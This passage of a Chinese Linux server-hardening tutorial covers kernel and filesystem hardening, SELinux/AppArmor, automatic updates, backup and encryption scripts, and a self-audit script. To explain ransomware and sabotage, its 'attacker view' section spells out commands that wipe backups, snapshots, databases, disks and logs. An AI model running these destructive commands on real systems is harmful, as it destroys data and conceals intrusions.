if ! echo "$opts" | grep -q "nosuid"; then
echo "    [警告] 缺少 nosuid 选项"
fi
fi
done

# 检查 SELinux/AppArmor
echo ""
echo "[检查] 安全模块状态:"
if command -v getenforce &> /dev/null; then
    status=$(getenforce)
echo "  SELinux: $status"
if [ "$status" != "Enforcing" ]; then
echo "    [警告] 建议启用 Enforcing 模式"
fi
elif command -v aa-status &> /dev/null; then
    profiles=$(aa-status --enabled 2>/dev/null && echo "已启用" || echo "未启用")
echo "  AppArmor: $profiles"
else
echo "  [警告] 未检测到 SELinux 或 AppArmor"
fi

# 检查系统更新
echo ""
echo "[检查] 系统更新状态:"
if command -v apt &> /dev/null; then
    updates=$(apt list --upgradable 2>/dev/null | wc -l)
    security=$(apt list --upgradable 2>/dev/null | grep -i security | wc -l)
echo "  可用更新: $updates 个,其中安全更新: $security 个"
elif command -v yum &> /dev/null; then
    updates=$(yum check-update --quiet 2>/dev/null | wc -l)
echo "  可用更新: $updates 个"
fi

7.4 加固方案

◆ 7.4.1 内核参数加固
# /etc/sysctl.d/99-security.conf

# 网络安全参数
# 禁止 IP 转发(除非是路由器)
net.ipv4.ip_forward = 0
net.ipv6.conf.all.forwarding = 0

# 禁止 ICMP 重定向
net.ipv4.conf.all.send_redirects = 0
net.ipv4.conf.default.send_redirects = 0
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.default.accept_redirects = 0
net.ipv6.conf.all.accept_redirects = 0
net.ipv6.conf.default.accept_redirects = 0

# 禁止源路由
net.ipv4.conf.all.accept_source_route = 0
net.ipv4.conf.default.accept_source_route = 0
net.ipv6.conf.all.accept_source_route = 0
net.ipv6.conf.default.accept_source_route = 0

# 启用 SYN Cookie 防止 SYN 洪水攻击
net.ipv4.tcp_syncookies = 1

# 记录可疑数据包
net.ipv4.conf.all.log_martians = 1
net.ipv4.conf.default.log_martians = 1

# 忽略 ICMP 广播请求(防止 Smurf 攻击)
net.ipv4.icmp_echo_ignore_broadcasts = 1

# 忽略错误的 ICMP 响应
net.ipv4.icmp_ignore_bogus_error_responses = 1

# 启用反向路径过滤(防止 IP 欺骗)
net.ipv4.conf.all.rp_filter = 1
net.ipv4.conf.default.rp_filter = 1

# 内核安全参数
# 启用 ASLR(地址空间布局随机化)
kernel.randomize_va_space = 2

# 限制内核指针泄露
kernel.kptr_restrict = 2

# 限制 dmesg 访问
kernel.dmesg_restrict = 1

# 禁用 SUID 程序的 Core Dump
fs.suid_dumpable = 0

# 限制 ptrace(防止进程注入)
kernel.yama.ptrace_scope = 1

# 禁用非特权用户的 BPF
kernel.unprivileged_bpf_disabled = 1
# 应用配置
sudo sysctl -p /etc/sysctl.d/99-security.conf
◆ 7.4.2 文件系统加固
# /etc/fstab 加固示例

# /tmp 分区加固
tmpfs   /tmp        tmpfs   defaults,noexec,nosuid,nodev,size=2G    0 0

# /var/tmp 绑定到 /tmp
/tmp    /var/tmp    none    bind                                    0 0

# /dev/shm 加固
tmpfs   /dev/shm    tmpfs   defaults,noexec,nosuid,nodev            0 0

# /home 分区(如果独立分区)
# 添加 nodev 选项
#/dev/sda3   /home   ext4    defaults,nodev    0 2
# 重新挂载以立即生效
sudo mount -o remount /tmp
sudo mount -o remount /dev/shm
◆ 7.4.3 启用 SELinux/AppArmor
# CentOS/RHEL - SELinux
# 检查状态
getenforce

# 启用
sudo setenforce 1

# 持久化配置
sudo sed -i 's/SELINUX=disabled/SELINUX=enforcing/' /etc/selinux/config
sudo sed -i 's/SELINUX=permissive/SELINUX=enforcing/' /etc/selinux/config

# Ubuntu - AppArmor
# 检查状态
sudo aa-status

# 启用
sudo systemctl enable apparmor
sudo systemctl start apparmor

# 为服务设置 profile
sudo aa-enforce /etc/apparmor.d/usr.sbin.nginx
◆ 7.4.4 配置自动安全更新
# Ubuntu/Debian
sudo apt install -y unattended-upgrades
sudo dpkg-reconfigure -plow unattended-upgrades

# /etc/apt/apt.conf.d/50unattended-upgrades
Unattended-Upgrade::Allowed-Origins {
"${distro_id}:${distro_codename}-security";
};
Unattended-Upgrade::Package-Blacklist {
    // 排除某些包
};
Unattended-Upgrade::AutoFixInterruptedDpkg "true";
Unattended-Upgrade::MinimalSteps "true";
Unattended-Upgrade::Mail "admin@example.com";
Unattended-Upgrade::MailOnlyOnError "true";
Unattended-Upgrade::Remove-Unused-Dependencies "true";
Unattended-Upgrade::Automatic-Reboot "false";
# CentOS/RHEL
sudo yum install -y yum-cron

# /etc/yum/yum-cron.conf
update_cmd = security
apply_updates = yes
emit_via = email
email_from = root@localhost
email_to = admin@example.com

sudo systemctl enable yum-cron
sudo systemctl start yum-cron

七、漏洞七:备份和恢复机制缺失

8.1 漏洞描述

没有备份的服务器就像没有保险的房子——火灾来了只能眼睁睁看着损失。勒索软件攻击之所以有效,很大程度上就是因为受害者没有可靠的备份。

8.2 攻击者视角

◆ 8.2.1 勒索软件攻击
# 勒索软件的典型行为
# 1. 加密所有重要文件
find / -type f \( -name "*.doc" -o -name "*.pdf" -o -name "*.sql" \) -exec encrypt_file {} \;

# 2. 删除备份
rm -rf /backup/*
find / -name "*.bak" -delete
find / -name "*.backup" -delete

# 3. 删除快照
lvcreate --snapshot  # 删除 LVM 快照
zfs destroy pool@snapshot  # 删除 ZFS 快照
◆ 8.2.2 破坏性攻击
# 删除关键数据
rm -rf /var/www/*
rm -rf /var/lib/mysql/*

# 覆盖磁盘
dd if=/dev/zero of=/dev/sda bs=1M

# 删除日志以掩盖痕迹
rm -rf /var/log/*

8.3 漏洞检测

#!/bin/bash
# 备份策略检查脚本

echo "=== 备份策略检查 ==="

# 检查备份目录
echo ""
echo "[检查] 备份目录:"
BACKUP_DIRS="/backup /var/backup /home/backup /data/backup"
for dir in $BACKUP_DIRS; do
if [ -d "$dir" ]; then
        count=$(find $dir -type f -mtime -7 | wc -l)
echo "  $dir: 存在, 最近7天文件数: $count"
fi
done

# 检查 cron 中的备份任务
echo ""
echo "[检查] 定时备份任务:"
grep -r "backup\|rsync\|mysqldump\|pg_dump\|tar" /etc/cron* /var/spool/cron 2>/dev/null | grep -v "^#"

# 检查数据库备份
echo ""
echo "[检查] 数据库备份:"
if command -v mysql &> /dev/null; then
echo "  MySQL 已安装"
if [ -f /root/.my.cnf ] && [ -d /backup/mysql ]; then
        latest=$(ls -t /backup/mysql/*.sql* 2>/dev/null | head -1)
if [ -n "$latest" ]; then
echo "  最新备份: $latest"
echo "  备份时间: $(stat -c %y $latest)"
else
echo "  [警告] 未找到 MySQL 备份文件"
fi
fi
fi

# 检查远程备份配置
echo ""
echo "[检查] 远程备份配置:"
if [ -f /etc/rsyncd.conf ]; then
echo "  rsync daemon 已配置"
fi
if crontab -l 2>/dev/null | grep -q "rsync.*@"; then
echo "  发现远程 rsync 备份任务"
fi
if [ -f ~/.aws/credentials ]; then
echo "  发现 AWS 凭证,可能使用 S3 备份"
fi

8.4 加固方案

◆ 8.4.1 本地备份策略
#!/bin/bash
# /usr/local/bin/backup.sh
# 综合备份脚本

set -e

# 配置
BACKUP_DIR="/backup"
RETENTION_DAYS=30
DATE=$(date +%Y%m%d_%H%M%S)
HOSTNAME=$(hostname)

# 创建备份目录
mkdir -p $BACKUP_DIR/{system,mysql,files}

# 系统配置备份
echo "=== 备份系统配置 ==="
tar -czf $BACKUP_DIR/system/etc_$DATE.tar.gz /etc/

# 数据库备份
echo "=== 备份数据库 ==="
if command -v mysqldump &> /dev/null; then
    mysqldump --all-databases --single-transaction --routines --triggers \
        | gzip > $BACKUP_DIR/mysql/all_databases_$DATE.sql.gz
fi

if command -v pg_dumpall &> /dev/null; then
    pg_dumpall | gzip > $BACKUP_DIR/postgresql/all_databases_$DATE.sql.gz
fi

# 重要文件备份
echo "=== 备份重要文件 ==="
tar -czf $BACKUP_DIR/files/www_$DATE.tar.gz /var/www/
tar -czf $BACKUP_DIR/files/home_$DATE.tar.gz /home/

# 清理旧备份
echo "=== 清理旧备份 ==="
find $BACKUP_DIR -type f -mtime +$RETENTION_DAYS -delete

# 验证备份
echo "=== 验证备份 ==="
for file in $(find $BACKUP_DIR -name "*_$DATE*"); do
if gzip -t $file 2>/dev/null; then
echo "  OK: $file"
else
echo "  FAILED: $file"
fi
done

echo "=== 备份完成 ==="
# 添加到 crontab
# 每天凌晨 2 点执行备份
0 2 * * * /usr/local/bin/backup.sh >> /var/log/backup.log 2>&1
◆ 8.4.2 远程备份(3-2-1 原则)
# 3-2-1 备份原则:
# - 3 份数据副本
# - 2 种不同存储介质
# - 1 份异地存储

# 使用 rsync 同步到远程服务器
#!/bin/bash
# /usr/local/bin/remote-backup.sh

BACKUP_DIR="/backup"
REMOTE_HOST="backup-server.example.com"
REMOTE_USER="backup"
REMOTE_DIR="/backup/$(hostname)"

# 使用 rsync 增量同步
rsync -avz --delete \
    -e "ssh -i /root/.ssh/backup_key -o StrictHostKeyChecking=yes" \
$BACKUP_DIR/ \
$REMOTE_USER@$REMOTE_HOST:$REMOTE_DIR/

# 发送备份报告
echo "备份完成: $(date)" | mail -s "备份报告 - $(hostname)" admin@example.com
# 使用 AWS S3
#!/bin/bash
# 安装 AWS CLI
# pip install awscli

# 配置
BUCKET="s3://my-backup-bucket"
BACKUP_DIR="/backup"

# 同步到 S3
aws s3 sync $BACKUP_DIR $BUCKET/$(hostname)/ \
    --storage-class STANDARD_IA \
    --delete

# 设置生命周期策略转移到 Glacier
aws s3api put-bucket-lifecycle-configuration \
    --bucket my-backup-bucket \
    --lifecycle-configuration file://lifecycle.json
◆ 8.4.3 备份加密
#!/bin/bash
# 加密备份

BACKUP_FILE=$1
ENCRYPTED_FILE="${BACKUP_FILE}.enc"
GPG_RECIPIENT="backup@example.com"

# 使用 GPG 加密
gpg --encrypt --recipient $GPG_RECIPIENT \
    --output $ENCRYPTED_FILE \
$BACKUP_FILE

# 删除未加密文件
rm -f $BACKUP_FILE

echo "加密完成: $ENCRYPTED_FILE"
# 使用 OpenSSL 加密(适合自动化)
# 加密
openssl enc -aes-256-cbc -salt -pbkdf2 \
    -in backup.tar.gz \
    -out backup.tar.gz.enc \
    -pass file:/root/.backup-password

# 解密
openssl enc -aes-256-cbc -d -pbkdf2 \
    -in backup.tar.gz.enc \
    -out backup.tar.gz \
    -pass file:/root/.backup-password
◆ 8.4.4 备份验证和恢复测试
#!/bin/bash
# 备份验证脚本

BACKUP_DIR="/backup"
TEST_DIR="/tmp/backup-test"
DATE=$(date +%Y%m%d)

echo "=== 备份验证开始 ==="

# 创建测试目录
rm -rf $TEST_DIR
mkdir -p $TEST_DIR

# 获取最新备份
LATEST_BACKUP=$(ls -t $BACKUP_DIR/files/*.tar.gz | head -1)

# 解压测试
echo "测试解压: $LATEST_BACKUP"
tar -tzf $LATEST_BACKUP > /dev/null
if [ $? -eq 0 ]; then
echo "  解压测试: 通过"
else
echo "  解压测试: 失败"
exit 1
fi

# 完整性检查
echo "测试完整性..."
tar -xzf $LATEST_BACKUP -C $TEST_DIR
FILE_COUNT=$(find $TEST_DIR -type f | wc -l)
echo "  解压文件数: $FILE_COUNT"

# 数据库备份测试
LATEST_DB=$(ls -t $BACKUP_DIR/mysql/*.sql.gz | head -1)
echo "测试数据库备份: $LATEST_DB"
zcat $LATEST_DB | head -100 > /dev/null
if [ $? -eq 0 ]; then
echo "  数据库备份测试: 通过"
else
echo "  数据库备份测试: 失败"
fi

# 清理
rm -rf $TEST_DIR

echo "=== 备份验证完成 ==="

八、安全自查清单

9.1 快速检查脚本

#!/bin/bash
# 综合安全自查脚本
# security-audit.sh

RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m' # No Color

echo "======================================"
echo "   Linux 服务器安全自查报告"
echo "   检查时间: $(date)"
echo "   主机名: $(hostname)"
echo "======================================"

PASS=0
WARN=0
FAIL=0

check_result() {
if [ "$1" == "PASS" ]; then
echo -e "${GREEN}[PASS]${NC}$2"
        ((PASS++))
elif [ "$1" == "WARN" ]; then
echo -e "${YELLOW}[WARN]${NC}$2"
        ((WARN++))
else
echo -e "${RED}[FAIL]${NC}$2"
        ((FAIL++))
fi
}

echo ""

echo "=== SSH 安全 ==="

# SSH root 登录
if grep -q "^PermitRootLogin no" /etc/ssh/sshd_config; then
    check_result "PASS" "禁止 root 登录"
else
    check_result "FAIL" "允许 root 登录"
fi

# SSH 密码认证
if grep -q "^PasswordAuthentication no" /etc/ssh/sshd_config; then
    check_result "PASS" "禁用密码认证"
else
    check_result "WARN" "允许密码认证"
fi

echo ""

echo "=== 密码策略 ==="

# 密码最长有效期
MAX_DAYS=$(grep "^PASS_MAX_DAYS" /etc/login.defs | awk '{print $2}')
if [ "$MAX_DAYS" -le 90 ]; then
    check_result "PASS" "密码最长有效期: $MAX_DAYS 天"
else
    check_result "WARN" "密码有效期过长: $MAX_DAYS 天"
fi

echo ""

echo "=== 权限配置 ==="

# 检查危险 SUID 文件
DANGEROUS=$(find /usr -perm -4000 -type f 2>/dev/null | grep -E "vim|vi|nano|find|python|perl" | wc -l)
if [ "$DANGEROUS" -eq 0 ]; then
    check_result "PASS" "无危险 SUID 文件"
else
    check_result "FAIL" "发现 $DANGEROUS 个危险 SUID 文件"
fi

# /etc/shadow 权限
SHADOW_PERM=$(stat -c "%a" /etc/shadow)
if [ "$SHADOW_PERM" == "600" ] || [ "$SHADOW_PERM" == "000" ]; then
    check_result "PASS" "/etc/shadow 权限正确: $SHADOW_PERM"
else
    check_result "FAIL" "/etc/shadow 权限不正确: $SHADOW_PERM"
fi

echo ""

echo "=== 服务和端口 ==="

# 检查高危服务
for port in 21 23 3306 6379 27017 2375; do
if ss -tulnp | grep -q ":$port.*0.0.0.0"; then
        check_result "FAIL" "高危端口 $port 监听所有接口"
fi
done

# 防火墙状态
if systemctl is-active --quiet firewalld || systemctl is-active --quiet ufw; then
    check_result "PASS" "防火墙已启用"
else
    check_result "FAIL" "防火墙未启用"
fi

echo ""

echo "=== 日志和审计 ==="

# 审计服务
if systemctl is-active --quiet auditd; then
    check_result "PASS" "审计服务已启用"
else
    check_result "WARN" "审计服务未启用"
fi

# 远程日志
if grep -q "^\*.\*@.*" /etc/rsyslog.conf 2>/dev/null; then
    check_result "PASS" "已配置远程日志"
else
    check_result "WARN" "未配置远程日志"
fi

echo ""

echo "=== 系统加固 ==="

# ASLR
ASLR=$(cat /proc/sys/kernel/randomize_va_space)
if [ "$ASLR" == "2" ]; then
    check_result "PASS" "ASLR 已启用"
else
    check_result "FAIL" "ASLR 未完全启用: $ASLR"
fi

# SELinux/AppArmor
if command -v getenforce &>/dev/null; then
    SE_STATUS=$(getenforce)
if [ "$SE_STATUS" == "Enforcing" ]; then
        check_result "PASS" "SELinux: $SE_STATUS"
else
        check_result "WARN" "SELinux: $SE_STATUS"
fi
elif command -v aa-status &>/dev/null; then
    AA_STATUS=$(aa-status --enabled 2>/dev/null && echo "enabled" || echo "disabled")
if [ "$AA_STATUS" == "enabled" ]; then
        check_result "PASS" "AppArmor 已启用"
else
        check_result "WARN" "AppArmor 未启用"
fi
else
    check_result "WARN" "未安装 SELinux 或 AppArmor"
fi

echo ""

echo "=== 备份 ==="

# 检查备份目录
if [ -d /backup ] && [ "$(find /backup -type f -mtime -7 | wc -l)" -gt 0 ]; then
    check_result "PASS" "发现最近的备份文件"
else
    check_result "WARN" "未发现最近的备份文件"
fi

echo ""

echo "======================================"
echo "   检查完成"
echo "======================================"
echo -e "   ${GREEN}通过: $PASS${NC}"
echo -e "   ${YELLOW}警告: $WARN${NC}"
echo -e "   ${RED}失败: $FAIL${NC}"
echo "======================================"

九、总结

10.1 核心要点回顾

  • SSH 安全:禁用 root 登录,使用密钥认证,配置 Fail2Ban  
  • 密码管理:强密码策略,定期更换,使用密钥管理工具  
  • 权限控制:最小权限原则,清理 SUID,安全的 sudo 配置  
  • 服务暴露:最小化开放端口,绑定内网接口,启用防火墙  
  • 日志审计:完善的日志配置,远程日志,审计系统  
  • 系统加固:安全的内核参数,文件系统限制,安全模块  
  • 备份策略:3-2-1 原则,加密备份,定期验证  

10.2 安全是持续的过程

安全不是一次性的配置,而是持续的过程:  

  1. 定期扫描:使用 Lynis、CIS-CAT 等工具定期扫描  
  2. 及时更新:关注安全公告,及时打补丁  
  3. 持续监控:实时监控异常行为  
  4. 安全培训:提高团队安全意识  
  5. 应急响应:制定并演练应急响应计划  

10.3 进阶学习方向

  1. 容器安全  
    • Docker 安全最佳实践  
    • Kubernetes RBAC 和 Pod Security  
  2. 渗透测试  
    • OWASP Testing Guide  
    • Kali Linux 和常用工具  
  3. 安全合规  
    • CIS Benchmark  
    • 等保 2.0 要求  

10.4 参考资料

  • CIS Benchmarks —— 权威的安全基线  
  • OWASP —— Web 安全指南  
  • Linux Security HOWTO —— Linux 安全指南  
  • Lynis —— 开源安全审计工具  

附录

A. 常用安全工具

# 安全扫描工具
lynis audit system           # 系统安全扫描
chkrootkit                   # Rootkit 检测
rkhunter --check             # Rootkit 检测
tiger                        # 安全审计

# 入侵检测
aide --check                 # 文件完整性检查
ossec                        # 主机入侵检测系统

# 漏洞扫描
nmap -sV --script vuln target # 漏洞扫描
nikto -h target              # Web 漏洞扫描

B. 安全检查命令速查

# 用户和权限
cat /etc/passwd              # 查看用户
cat /etc/shadow              # 查看密码哈希
cat /etc/group               # 查看组
getent passwd                # 获取用户信息
id username                  # 查看用户 ID 和组
sudo -l                      # 查看 sudo 权限
find / -perm -4000           # 查找 SUID 文件
find / -perm -2000           # 查找 SGID 文件

# 网络和服务
ss -tulnp                    # 查看监听端口
netstat -tulnp               # 查看监听端口(旧)
systemctl list-unit-files    # 查看服务
ps aux                       # 查看进程
lsof -i                      # 查看网络连接

# 日志
journalctl -xe               # 查看系统日志
tail -f /var/log/auth.log    # 查看认证日志
ausearch -m LOGIN            # 查看登录审计
last                         # 查看登录历史
lastb                        # 查看失败登录

# 系统信息
uname -a                     # 系统版本
cat /etc/os-release          # 发行版信息
uptime                       # 运行时间
who                          # 当前登录用户
w                            # 用户活动

C. 术语表

术语 英文 解释
SUID Set User ID 设置用户 ID 位,执行时以文件所有者权限运行
SGID Set Group ID 设置组 ID 位,执行时以文件所属组权限运行
ASLR Address Space Layout Randomization 地址空间布局随机化,防止缓冲区溢出攻击
PAM Pluggable Authentication Modules 可插拔认证模块
SELinux Security-Enhanced Linux 安全增强型 Linux,强制访问控制
AppArmor Application Armor 应用程序铠甲,基于路径的访问控制
auditd Audit Daemon Linux 审计守护进程
umask User Mask 用户文件创建权限掩码
PTY Pseudo Terminal 伪终端
TTY Teletypewriter 电传打字机,终端设备

如需进一步深入学习,欢迎访问 云栈社区,获取更多关于 运维 & 测试运维/DevOps/SRE安全/渗透/逆向网络/系统 的高质量技术内容。




上一篇:K8s Pod生命周期详解:从启动探针到优雅停机的实战指南
下一篇:用Python库viser快速构建交互式3D可视化界面
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-4-10 08:03 , Processed in 1.008582 second(s), 41 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表